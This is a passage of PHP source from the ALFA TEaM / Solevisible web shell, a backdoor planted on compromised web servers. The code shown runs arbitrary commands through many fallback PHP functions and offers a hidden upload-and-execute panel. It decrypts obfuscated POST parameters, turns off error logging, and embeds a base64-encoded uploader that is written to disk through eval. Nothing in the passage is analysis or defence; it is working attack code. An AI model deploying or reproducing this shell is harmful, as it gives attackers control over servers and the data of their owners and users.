  566. }elseif($lang=="perl"){
  567. return _alfa_cgicmd($cmd_pure,"py");
  568. }elseif($lang=="py"){
  569. return _alfa_cgicmd($cmd_pure,"bash");
  570. }else{
  571. $_SESSION["alfacgiapi_mode"] = "off";
  572. }
  573. return trim($out);
  574. }else{
  575. return "";
  576. }
  577. }
  578. function alfaEx($in,$re=false,$cgi=true,$all=false){
  579. $data = _alfa_php_cmd($in,$re);
  580. if(empty($data)&&$cgi||$all){
  581. if($GLOBALS['sys']=='unix'){
  582. if(strlen(_alfa_php_cmd("whoami"))==0||$all){
  583. $cmd = _alfa_cgicmd($in);if(!empty($cmd)){
  584. return $cmd;
  585. }
  586. }
  587. }
  588. }
  589. return $data;
  590. }
  591. function _alfa_php_cmd($in,$re=false){
  592. $out='';
  593. try{
  594. if($re)$in=$in." 2>&1";
  595. if(function_exists('exec')){
  596. @exec($in,$out);
  597. $out = @join("\n",$out);
  598. }elseif(function_exists('passthru')) {
  599. ob_start();
  600. @passthru($in);
  601. $out = ob_get_clean();
  602. }elseif(function_exists('system')){
  603. ob_start();
  604. @system($in);
  605. $out = ob_get_clean();
  606. } elseif (function_exists('shell_exec')) {
  607. $out = shell_exec($in);
  608. }elseif(function_exists("popen")&&function_exists("pclose")){
  609. if(is_resource($f = @popen($in,"r"))){
  610. $out = "";
  611. while(!@feof($f))
  612. $out .= fread($f,1024);
  613. pclose($f);
  614. }
  615. }elseif(function_exists('proc_open')){
  616. $pipes = array();
  617. $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
  618. $out=@stream_get_contents($pipes[1]);
  619. }elseif(class_exists('COM')){
  620. $alfaWs = new COM('WScript.shell');
  621. $exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
  622. $stdout = $exec->StdOut();
  623. $out=$stdout->ReadAll();
  624. }
  625. }catch(Exception $e){}
  626. return $out;
  627. }
  628. function _alfa_fsockopen($server,$uri,$post){
  629. $socket = @fsockopen($server, 80, $errno, $errstr, 15);
  630. if($socket){
  631. $http = "POST {$uri} HTTP/1.0\r\n";
  632. $http .= "Host: {$server}\r\n";
  633. $http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
  634. $http .= "Content-Type: application/x-www-form-urlencoded\r\n";
  635. $http .= "Content-length: " . strlen($post) . "\r\n";
  636. $http .= "Connection: close\r\n\r\n";
  637. $http .= $post . "\r\n\r\n";
  638. fwrite($socket, $http);
  639. $contents = "";
  640. while (!@feof($socket)) {
  641. $contents .= @fgets($socket, 4096);
  642. }
  643. list($header, $body) = explode("\r\n\r\n", $contents, 2);
  644. @fclose($socket);
  645. return $body;
  646. }else{
  647. return "";
  648. }
  649. }
  650. if(isset($_GET["solevisible"])){
  651. @error_reporting(E_ALL ^ E_NOTICE);
  652. echo '<html>';
  653. echo "<title>Solevisible Hidden Shell</title>";
  654. echo "<body bgcolor=#000000>";
  655. echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
  656. $safe_mode = @ini_get('safe_mode');
  657. if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
  658. echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
  659. echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
  660. echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
  661. echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@getcwd()) . "/<br />";
  662. echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
  663. echo"<font color=#7CFC00>Disable functions : </font>";
  664. $disfun = @ini_get('disable_functions');
  665. if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
  666. echo"<font color=red>";
  667. echo "$disfun";
  668. echo"</font><br>";
  669. echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
  670. echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
  671. echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  672. echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@getcwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
  673. if(isset($_FILES['file'])){
  674. if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
  675. else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
  676. }
  677. echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
  678. <hr><pre>';
  679. if(isset($_POST['command_solevisible'])){
  680. if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
  681. $solevisible = "cd '".addslashes(str_replace("\\","/",@getcwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
  682. echo alfaEx($solevisible);
  683. }
  684. echo'</pre>
  685. </body></html>';
  686. exit;}
  687. @error_reporting(E_ALL ^ E_NOTICE);
  688. @ini_set('error_log',NULL);
  689. @ini_set('log_errors',0);
  690. @ini_set('max_execution_time',0);
  691. @ini_set('magic_quotes_runtime', 0);
  692. @set_time_limit(0);
  693. if(function_exists('set_magic_quotes_runtime')){
  694. @set_magic_quotes_runtime(0);
  695. }
  696. foreach($_POST as $key => $value){
  697. if(is_array($_POST[$key])){
  698. $i=0;
  699. foreach($_POST[$key] as $f) {
  700. $f = trim(str_replace(' ', '+',$f));
  701. $_POST[$key][$i] = decrypt_post($f, _AlfaSecretKey());
  702. $i++;
  703. }
  704. }else{
  705. $value = trim(str_replace(' ', '+',$value));
  706. $_POST[$key] = decrypt_post($value, _AlfaSecretKey());
  707. }
  708. }
  709. $default_action = 'FilesMan';
  710. $default_use_ajax = true;
  711. $default_charset = 'Windows-1251';
  712. if(strtolower(substr(PHP_OS,0,3))=="win")
  713. $GLOBALS['sys']='win';
  714. else
  715. $GLOBALS['sys']='unix';
  716. $GLOBALS['home_cwd'] = @getcwd();
  717. if($_POST["a"] != "GetPathHistory"){
  718. if($_SESSION[__LAST_CWD__]!=$_POST['c']){
  719. $_SESSION[__PATH_HISTORY__] = $_SESSION[__LAST_CWD__];
  720. }
  721. }
  722. $GLOBALS["need_to_update_header"] = "false";
  723. if(isset($_POST['c'])){
  724. if(!@chdir($_POST['c'])){
  725. $GLOBALS['glob_chdir_false'] = true;
  726. }
  727. }
  728. $GLOBALS['cwd'] = (isset($_SESSION[__LAST_CWD__])&&$_SESSION[__LAST_CWD__]!=''&&!isset($_POST['c'])?$_SESSION[__LAST_CWD__]:@getcwd());
  729. if(!@is_dir){$GLOBALS['cwd'] = @getcwd();}
  730. if($GLOBALS['sys'] == 'win'){
  731. $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
  732. $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
  733. $_SESSION[__PATH_HISTORY__] = str_replace("\\", "/", $_SESSION[__PATH_HISTORY__]);
  734. }
  735. if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
  736. function alfaGetPathHistory(){echo (isset($_SESSION[__PATH_HISTORY__])&&!empty($_SESSION[__PATH_HISTORY__])?$_SESSION[__PATH_HISTORY__]: $GLOBALS['home_cwd']);}
  737. function alfahead(){
  738. if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
  739. $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
  740. $alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
  741. define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
  742. define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
  743. if(!isset($_POST['ajax'])){
  744. function Alfa_GetDisable_Function(){
  745. $disfun = @ini_get('disable_functions');
  746. $afa = '<span class="header_show_all">All Functions Accessible</span>';
  747. if(empty($disfun))return($afa);
  748. $s = explode(',',$disfun);
  749. $s = array_unique($s);
  750. $i=0;
  751. $b=0;
  752. $func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
  753. $black_list = array();
  754. $allow_list = array();
  755. foreach($s as $d){
  756. $d=trim($d);
  757. if(empty($d)||!is_callable($d))continue;
  758. if(!function_exists($d)){
  759. if(in_array($d,$func)){
  760. $dis .= $d." | ";$b++;
  761. $black_list[] = $d;
  762. }else{
  763. $allow_list[] = $d;
  764. }
  765. $i++;
  766. }
  767. }
  768. if($i==0)return($afa);
  769. if($i <= count($func)){
  770. $all = array_values(array_merge($black_list, $allow_list));
  771. return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
  772. }
  773. return('<span class="disable_functions">'.$dis.'</span><a href=javascript:void(0) onclick="g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
  774. }
  775. function AlfaNum(){
  776. $args = func_get_args();
  777. $alfax = array();
  778. $find = array();
  779. for($i=1;$i<=10;$i++){
  780. $alfax[] = $i;
  781. }
  782. foreach($args as $arg){
  783. $find[] = $arg;
  784. }
  785. echo '<script>';
  786. foreach($alfax as $alfa){
  787. if(in_array($alfa,$find))
  788. continue;
  789. echo 'alfa'.$alfa."_=";
  790. }
  791. echo '""</script>';
  792. }
  793. if(empty($_POST['charset']))
  794. $_POST['charset'] = $GLOBALS['default_charset'];
  795. $freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
  796. $totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
  797. $totalSpace = $totalSpace?$totalSpace:1;
  798. $on="<span class='header_on'> ON </span>";
  799. $of="<span class='header_off'> OFF </span>";
  800. $none="<span class='header_none'> NONE </span>";
  801. if(function_exists('ssh2_connect'))
  802. $ssh2=$on;
  803. else
  804. $ssh2=$of;
  805. if(function_exists('curl_version'))
  806. $curl=$on;
  807. else
  808. $curl=$of;
  809. if(function_exists('mysql_get_client_info'))
  810. $mysql=$on;
  811. else
  812. $mysql=$of;
  813. if(function_exists('mssql_connect'))
  814. $mssql=$on;
  815. else
  816. $mssql=$of;
  817. if(function_exists('pg_connect'))
  818. $pg=$on;
  819. else
  820. $pg=$of;
  821. if(function_exists('oci_connect'))
  822. $or=$on;
  823. else
  824. $or=$of;
  825. if(@ini_get('disable_functions'))
  826. $disfun=@ini_get('disable_functions');
  827. else
  828. $disfun="All Functions Enable";
  829. if(@ini_get('safe_mode'))
  830. $safe_modes="<span class='header_off'>ON</span>";
  831. else
  832. $safe_modes="<span class='header_on'>OFF</span>";
  833. $cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
  834. if(@ini_get('open_basedir')){
  835. $basedir_data = @ini_get('open_basedir');
  836. if(strlen($basedir_data)>120){
  837. $open_b=substr($basedir_data,0, 120)."...";
  838. }else{
  839. $open_b = $basedir_data;
  840. }
  841. }else{$open_b=$none;}
  842. if(@ini_get('safe_mode_exec_dir'))
  843. $safe_exe=@ini_get('safe_mode_exec_dir');
  844. else
  845. $safe_exe=$none;
  846. if(@ini_get('safe_mode_include_dir'))
  847. $safe_include=@ini_get('safe_mode_include_dir');
  848. else
  849. $safe_include=$none;
  850. if(!function_exists('posix_getegid'))
  851. {
  852. $user = function_exists("get_current_user")?@get_current_user():"????";
  853. $uid = function_exists("getmyuid")?@getmyuid():"????";
  854. $gid = function_exists("getmygid")?@getmygid():"????";
  855. $group = "?";
  856. }else{
  857. $uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
  858. $gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
  859. $user = $uid['name'];
  860. $uid = $uid['uid'];
  861. $group = $gid['name'];
  862. $gid = $gid['gid'];
  863. }
  864. $cwd_links = '';
  865. $path = explode("/", $GLOBALS['cwd']);
  866. $n=count($path);
  867. for($i=0; $i<$n-1; $i++) {
  868. $cwd_links .= "<a class='header_pwd' href='javascript:void(0);' onclick='g(\"FilesMan\",\"";
  869. for($j=0; $j<=$i; $j++)
  870. $cwd_links .= $path[$j].'/';
  871. $cwd_links .= "\")'>".$path[$i]."/</a>";
  872. }
  873. $drives = "";
  874. foreach(range('a','z') as $drive)
  875. if(@is_dir($drive.':\\'))
  876. $drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  877. $csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
  878. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  879. <html xmlns="http://www.w3.org/1999/xhtml">
  880. <head>
  881. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  882. <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  883. <link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
  884. <title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.' ::..</title>
  885. <link href="https://fonts.googleapis.com/css?family=Francois+One" rel="stylesheet">
  886. <style type="text/css">
  887. .hlabale {
  888. color: #daf50c;
  889. border-radius: 4px;
  890. border: 1px solid #27979B;
  891. margin-left: 7px;
  892. padding: 2px;
  893. }
  894. #tbl_sympphp tr {
  895. text-align: center;
  896. }
  897. .editor-view {
  898. position: relative;
  899. }
  900. .view-content {
  901. position: absolute;
  902. overflow-y: auto;
  903. width: 100%;
  904. height: 475px;
  905. }
  906. *::-webkit-scrollbar-track {
  907. -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
  908. border-radius: 10px;
  909. background-color: #000115;
  910. }
  911. *::-webkit-scrollbar{
  912. width: 10px;
  913. background-color: #000115;
  914. }
  915. *::-webkit-scrollbar-thumb {
  916. border-radius: 10px;
  917. -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
  918. background-color: rgb(30, 130, 181);
  919. }
  920. .editor-file-name {
  921. margin-left: 29px;
  922. margin-top: 4px;
  923. overflow: hidden;
  924. text-overflow: ellipsis;
  925. white-space: nowrap;
  926. }
  927. .editor-icon {
  928. position: absolute;
  929. }
  930. .is_active {
  931. background: rgba(49, 55, 93, 0.77);
  932. border-radius: 10px;
  933. }
  934. .history-list {
  935. height: 88%;
  936. overflow-y: auto;
  937. }
  938. #editor-minimized,#cgiloader-minimized {
  939. display: block;
  940. position: fixed;
  941. right: -30px;
  942. width: 30px;
  943. height: 30px;
  944. top: 30%;
  945. }
  946. .minimized-wrapper {
  947. position: relative;
  948. background: rgb(14, 48, 74);
  949. width: 44px;
  950. height: 167px;
  951. cursor: pointer;
  952. border-bottom-left-radius: 5px;
  953. border-top-left-radius: 5px;
  954. }
  955. .minimized-text {
  956. transform: rotate(-90deg);
  957. color: wheat;
  958. font-size: x-large;
  959. display: inline-block;
  960. position: absolute;
  961. right: -51px;
  962. width: 129px;
  963. top: 50px;
  964. border-top-left-radius: 4%;
  965. height: 56px;
  966. padding: 3px
  967. }
  968. .close-button,.editor-minimize {
  969. height: 26px;
  970. width: 38px;
  971. right: 7px;
  972. background: rgb(29, 86, 115);
  973. cursor: pointer;
  974. position: absolute;
  975. box-sizing: border-box;
  976. line-height: 50px;
  977. display: inline-block;
  978. top: 17px;
  979. border-radius: 100px;
  980. }
  981. .editor-minimize {right: 50px;}
  982. .close-button:before,.close-button:after,.editor-minimize:before {
  983. transform: rotate(-45deg);
  984. content: "";
  985. position: absolute;
  986. top: 63%;
  987. right: 6px;
  988. margin-top: -5px;
  989. margin-left: -25px;
  990. display: block;
  991. height: 4px;
  992. width: 27px;
  993. background-color: rgba(216, 207, 207, 0.75);
  994. transition: all 0.25s ease-out;
  995. }
  996. .editor-minimize:before{
  997. transform: rotate(0deg);
  998. }
  999. .close-button:after {
  1000. transform: rotate(-135deg);
  1001. }
  1002. .close-button:hover:before,.close-button:hover:after,.editor-minimize:hover:before{
  1003. background-color: red;
  1004. }
  1005. .close-button:hover,.editor-minimize:hover{
  1006. background-color: rgba(39, 66, 80, 0.96);
  1007. }
  1008. #editor,#cgiloader {
  1009. display: none;
  1010. position: fixed;
  1011. top: 0;
  1012. width: 100%;
  1013. height: 100%;
  1014. }
  1015. .editor-wrapper {
  1016. width: 100%;
  1017. height: 100%;
  1018. position: relative;
  1019. top: 1%;
  1020. }
  1021. .editor-header {
  1022. width: 97%;
  1023. background: rgba(21, 66, 88, 0.93);
  1024. height: 37px;
  1025. margin-left: 13px;
  1026. position: relative;
  1027. border-top-left-radius: 15px;
  1028. border-top-right-radius: 15px;
  1029. }
  1030. .editor-path {
  1031. position: absolute;
  1032. font-size: x-large;
  1033. margin-left: 10px;
  1034. top: 6px;
  1035. color: springgreen;
  1036. }
  1037. .editor-modal {
  1038. position: relative;
  1039. top: 0;
  1040. background-color: rgba(0, 1, 23, 0.95);
  1041. height: 90%;
  1042. margin-left: 20%;
  1043. margin-right: 2%;
  1044. border: 2px #0e304a solid;
  1045. }
  1046. .editor-explorer {
  1047. width: 19%;
  1048. height: 90%;
  1049. background-color: rgba(0, 1, 23, 0.94);
  1050. position: absolute;
  1051. z-index: 2;
  1052. left: 1%;
  1053. border: 2px rgb(14, 48, 74) solid;
  1054. }
  1055. .editor-controller {
  1056. position: relative;
  1057. top: -13px;
  1058. }
  1059. .file-holder {
  1060. position: relative;
  1061. width: 100%;
  1062. height: 30px;
  1063. }
  1064. .file-holder > .history {
  1065. position: absolute;
  1066. color: rgb(3, 179, 163);
  1067. cursor: pointer;
  1068. left:5px;
  1069. font-size: 18px;
  1070. font-family: sans-serif;
  1071. width:89%;
  1072. height:100%;
  1073. z-index: 3;
  1074. border-radius: 10px;
  1075. transition: background-color 600ms ease-out;
  1076. }
  1077. .file-holder > .history-close {
  1078. display: block;
  1079. opacity: 0;
  1080. position: absolute;
  1081. right: 2px;
  1082. width: 20px;
  1083. top: 4px;
  1084. text-align: center;
  1085. cursor: pointer;
  1086. color: white;
  1087. background: red;
  1088. border-radius: 100px;
  1089. font-family: monospace;
  1090. z-index: 10;
  1091. transition: opacity 600ms ease-out;
  1092. font-size: 15px;
  1093. height: 19px;
  1094. }
  1095. .file-holder > .history:hover {
  1096. background-color: #646464;
  1097. }
  1098. .editor-explorer > .hheader {
  1099. position: relative;
  1100. color: rgb(20, 255, 7);
  1101. border-bottom: 2px rgb(32, 106, 162) solid;
  1102. text-align: center;
  1103. font-family: sans-serif;
  1104. margin-bottom: 10px;
  1105. height: 55px;
  1106. }
  1107. .editor-search {
  1108. position: absolute;
  1109. bottom: 7px;
  1110. left: 31px;
  1111. }
  1112. .hheader-text {
  1113. position: absolute;
  1114. left: 8px;
  1115. top: 2px;
  1116. }
  1117. .history-clear {
  1118. position: absolute;
  1119. right: 8px;
  1120. top: 2px;
  1121. cursor: pointer;
  1122. }
  1123. .editor-body {
  1124. position: relative;
  1125. margin-left: 3px;
  1126. }
  1127. .editor-anim-close {
  1128. '.showAnimation("editorClose").'
  1129. }
  1130. @keyframes editorClose {
  1131. 0% {
  1132. transform: scale(1);
  1133. opacity: 1;
  1134. }
  1135. 100% {
  1136. transform: scale(0);
  1137. opacity: 0;
  1138. }
  1139. }
  1140. .editor-anim-minimize {
  1141. '.showAnimation("editorMinimize").'
  1142. }
  1143. @keyframes editorMinimize {
  1144. 0% {
  1145. right:0px;
  1146. opacity: 1;
  1147. }
  1148. 100% {
  1149. right: -2000px;
  1150. opacity: 0;
  1151. }
  1152. }
  1153. .editor-anim-show {
  1154. '.showAnimation("editorShow").'
  1155. }
  1156. @keyframes editorShow {
  1157. 0% {
  1158. right:-2000px;
  1159. opacity: 0;
  1160. }
  1161. 100% {
  1162. right: 0px;
  1163. opacity: 1;
  1164. }
  1165. }
  1166. .minimized-show {
  1167. '.showAnimation("minimizeShow").'
  1168. }
  1169. @keyframes minimizeShow {
  1170. 0% {
  1171. right: -30px;
  1172. opacity: 0;
  1173. }
  1174. 100% {
  1175. right: 0px;
  1176. opacity: 1;
  1177. }
  1178. }
  1179. .minimized-hide {
  1180. '.showAnimation("minimizeHide").'
  1181. }
  1182. @keyframes minimizeHide {
  1183. 0% {
  1184. right: 0px;
  1185. opacity: 1;
  1186. }
  1187. 100% {
  1188. right: -30px;
  1189. opacity: 0;
  1190. }
  1191. }
  1192. .solevisible-text:hover {
  1193. -webkit-text-shadow: 0px 0px 25px #00FF00;
  1194. -moz-text-shadow: 0px 0px 25px #00FF00;
  1195. -ms-text-shadow: 0px 0px 25px #00FF00;
  1196. text-shadow: 0px 0px 25px #00FF00;
  1197. }
  1198. .update-holder {
  1199. position: fixed;
  1200. top: 0;
  1201. background-color: rgba(0, 24, 29, 0.72);
  1202. width: 100%;
  1203. height: 100%;
  1204. }
  1205. .update-partner {
  1206. width: 50%;
  1207. position: relative;
  1208. border-radius: 31px;
  1209. height: 200px;
  1210. background-color: rgba(3, 3, 41, 0.47);
  1211. text-align: center;
  1212. color: rgba(252, 253, 251, 0.88);
  1213. margin-left: 25%;
  1214. top: 23%;
  1215. font-family: "Francois One", sans-serif;
  1216. }
  1217. .update-partner:hover {
  1218. -webkit-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
  1219. -moz-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
  1220. box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
  1221. }
  1222. .update-content {
  1223. position: relative;
  1224. }
  1225. .update-content > a {
  1226. text-decoration: none;
  1227. position: absolute;
  1228. color: rgba(103, 167, 47, 0.77);
  1229. left: 24%;
  1230. margin-top: 7%;
  1231. font-size: 40px;
  1232. font-family: "Francois One", sans-serif;
  1233. }
  1234. .update-close {
  1235. position: absolute;
  1236. right: 0;
  1237. margin-right: 23px;
  1238. top: 10px;
  1239. font-size: 27px;
  1240. background-color: #130f50;
  1241. width: 5%;
  1242. border-radius: 100px;
  1243. cursor: pointer;
  1244. border: 2px rgb(14, 38, 90) solid;
  1245. }
  1246. .update-close:hover {
  1247. border: 2px #25ff00 solid;
  1248. color: #FF0000;
  1249. }
  1250. .filestools {
  1251. height: auto;
  1252. width: auto;
  1253. color: #daf50c;
  1254. font-size: 12px;
  1255. font-family: Verdana,Geneva,sans-serif;
  1256. }
  1257. @-moz-document url-prefix() {
  1258. #search-input {
  1259. width: 173px;
  1260. }
  1261. .editor-path {
  1262. top:3px;
  1263. }
  1264. }
  1265. @keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
  1266. @-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
  1267. @-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
  1268. @-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
  1269. #alfaloader{'.$csscode.'width:100px;height:100px;}
  1270. #a_loader{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 42%;left: 45%;display:none;}
  1271. .ajaxarea{border:1px solid #801818;color:#daf50c}#up_bar{background-color:red;width:0;height:2px;display:none;position:fixed;z-index:100000}#hidden_sh{background-color:#801818;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(https://kelas.daqu.sch.id/theme/classic/templates/core/temletscalisc.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #801818;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#4d16ba}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #801818;background:transparent;box-shadow:0 0 4px #801818;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile 